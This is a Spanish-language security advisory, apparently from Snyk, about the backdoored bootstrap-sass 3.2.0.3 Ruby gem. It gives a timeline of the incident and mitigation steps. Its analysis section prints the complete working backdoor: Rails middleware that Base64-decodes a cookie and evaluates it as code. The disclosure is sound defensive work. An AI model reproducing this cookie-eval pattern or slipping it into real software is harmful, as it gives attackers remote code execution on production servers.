Se descubre una puerta trasera maliciosa de ejecución remota de código en la popular gema Ruby bootstrap-sass

El 26 de marzo de 2019, se publicó en el repositorio oficial RubyGems una versión maliciosa del popular paquete bootstrap-sass, que hasta la fecha se había descargado un total de 28 millones de veces. La versión 3.2.0.3 incluye una puerta trasera sigilosa que permite a los atacantes ejecutar comandos de forma remota en aplicaciones Rails del lado del servidor.

Ya agregamos la vulnerabilidad a nuestra base de datos y, si Snyk monitorea tu proyecto, ya habrás recibido nuestras alertas habituales si tu aplicación contiene el paquete malicioso. Si no es así, puedes hacer una prueba gratis para comprobar si tu aplicación se ve afectada por esta versión maliciosa; solo tienes que analizar el repositorio de código de tu aplicación con Snyk.

Si descubres que tu aplicación Rails usa el proyecto vulnerable, actúa de inmediato y reemplaza la versión vulnerable, 3.2.0.3, por la versión republicada 3.2.0.4 como medida inicial de mitigación, sin necesidad de actualizar a una versión principal.

Ese mismo día, Derek Barnes abrió un issue en GitHub para el repositorio twbs/bootstrap-sass, en el que señaló un problema relacionado con la versión maliciosa y destacó un fragmento de código sospechoso incluido en la versión 3.2.0.3 de bootstrap-sass.

La puerta trasera se ocultó hábilmente en la versión 3.2.0.3, que solo se publicó en RubyGems. No había ninguna copia del código fuente de la versión maliciosa en el repositorio de GitHub, y esta permitía a atacantes remotos ejecutar código dinámicamente en los servidores que alojaban las versiones vulnerables.

El paquete bootstrap-sass es muy popular y la puerta trasera maliciosa podría afectar a una gran cantidad de usuarios. El repositorio de GitHub del paquete tiene más de 12,000 estrellas y más de 27 millones de descargas en total. La versión actual, 3.4.1, tiene más de 217,000 descargas.

Un análisis rápido muestra que aproximadamente 1,670 repositorios de GitHub podrían haberse visto expuestos a la biblioteca maliciosa por usarla directamente. Esta cifra aumentará considerablemente si se cuenta su uso en aplicaciones como dependencia transitiva.

Resumen de la cronología del ataque

• La versión 3.2.0.2 se eliminó del registro de RubyGems. Esto significa que el tarball sigue estando disponible directamente a través del repositorio RubyGems, pero no es visible para el administrador de paquetes. Hasta donde sabemos, esta versión no es maliciosa y los atacantes la retiraron para que los usuarios actualizaran a la versión 3.2.0.3 que publicaron a continuación.

• El 26 de marzo, los atacantes publicaron la versión 3.2.0.3. Esta versión incluye una puerta trasera oculta en un archivo nuevo, lib/active-controller/middleware.rb. La puerta trasera accede a otro módulo de Ruby y lo modifica para que determinadas cookies enviadas por el cliente se decodifiquen desde Base64 y luego se evalúen durante la ejecución, lo que permite ejecutar código de forma remota.

• La versión maliciosa 3.2.0.3 coincide con la suma de verificación SHA256 366d6162fe36fc81dadc114558b43c6c8890c8bcc7e90e2949ae6344d0785dc0.

• Suponemos que el atacante obtuvo las credenciales para publicar el paquete malicioso de RubyGems de uno de los dos responsables del mantenimiento, aunque esto no se ha confirmado oficialmente.

• El 26 de marzo a las 10:59 p. m. GMT, Derek Barnes abrió un issue en el repositorio público para informar a los responsables del mantenimiento y a la comunidad en general sobre sus sospechas respecto al código de la versión 3.2.0.3.

• El 26 de marzo a las 11:56 p. m. GMT, apenas una hora después, se eliminó la versión maliciosa del repositorio RubyGems y los responsables del mantenimiento confirmaron que actualizaron sus credenciales.

• Como se eliminaron las versiones 3.2.0.2 y 3.2.0.3, los usuarios tuvieron que actualizar a otras versiones alternativas, como la 3.4.1, según lo recomendado por los responsables del mantenimiento del proyecto.

• Hoy, 3 de abril de 2019 a las 4:10 p. m. GMT, los responsables del mantenimiento del proyecto publicaron una nueva versión, la 3.2.0.4, idéntica a la versión 3.2.0.2 retirada, para que los usuarios pudieran actualizar fácilmente a una versión segura sin tener que recurrir a un cambio de versión principal.

Actualización del 4 de abril de 2019, 4:46 p. m.: la versión vulnerable 3.2.0.2 se eliminó por error y permaneció varios días más en el registro RubyGems a través de réplicas. Ahora se informó que ya no está disponible.

Análisis de la vulnerabilidad

Para entender mejor la puerta trasera maliciosa, debemos comprender cómo encaja el paquete bootstrap-sass en las prácticas de desarrollo de una aplicación web Ruby.

bootstrap-sass es un proyecto oficial derivado del proyecto principal Twitter Bootstrap y ofrece una versión de Bootstrap 3 basada en SASS. SASS es una herramienta que potencia el trabajo de los ingenieros de frontend y ofrece un mayor nivel de abstracción para escribir archivos CSS mediante funciones como mixins, variables, instrucciones condicionales, entre otras.

Las herramientas SASS se relacionan principalmente con los recursos de frontend y normalmente se usan como parte de una etapa de compilación de frontend que genera recursos estáticos, que luego sirven los servidores web estáticos. Sin embargo, en las aplicaciones basadas en Ruby on Rails que sirven tanto código de backend como de frontend, el proyecto bootstrap-sass ofrece enlaces de Ruby que usa el framework.

Cuando una aplicación Rails quiere usar la biblioteca bootstrap-sass, declara esta dependencia y actualiza las importaciones CSS correspondientes para incluir bootstrap-sass y compilar los archivos CSS durante la ejecución.

Al importar bootstrap-sass, también se importa el siguiente código malicioso de middleware, que se encuentra en lib/active-controller/middleware.rb:

1begin
2 require 'rack/sendfile'
3 if Rails.env.production?
4   Rack::Sendfile.tap do |r|
5     r.send :alias_method, :c, :call
6     r.send(:define_method, :call) do |e|
7       begin
8         x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
9         eval(x) if x
10       rescue Exception
11       end
12       c(e)
13     end
14   end
15 end
16rescue Exception
17 nil
18end

La puerta trasera, en pocas palabras:

• import rack/sendfile

• si la aplicación Rails se ejecuta en un entorno de producción, modifica el método call

• La modificación del método call reemplaza el original por una versión que lee una cookie HTTP llamada ___cfduid, enviada desde el cliente, la decodifica desde base64 y luego evalúa el código dinámico durante la ejecución. Después de ejecutar el código dinámico, llama al método call original.

¿Qué debo hacer?

Si Snyk monitorea tu proyecto, ya habrás recibido las alertas habituales de Snyk si tu aplicación contiene este paquete malicioso.

Sin embargo, si no monitoreas tus proyectos con Snyk, puedes hacer una prueba única de tu proyecto de código abierto haciendo clic aquí para analizar tus repositorios o usar nuestra CLI para analizar tus proyectos localmente.

Me afecta. ¿Qué debo hacer ahora?

Si descubriste que tu aplicación Rails usa el proyecto vulnerable, toma medidas de inmediato para reemplazar la versión vulnerable actual, 3.2.0.3, por la versión republicada 3.2.0.4 como medida inicial de mitigación, sin necesidad de actualizar a una versión principal.

Te recomendamos conectar tus repositorios con Snyk para que puedas monitorear actividades maliciosas en el futuro y detectar otras vulnerabilidades que pueda tener tu aplicación.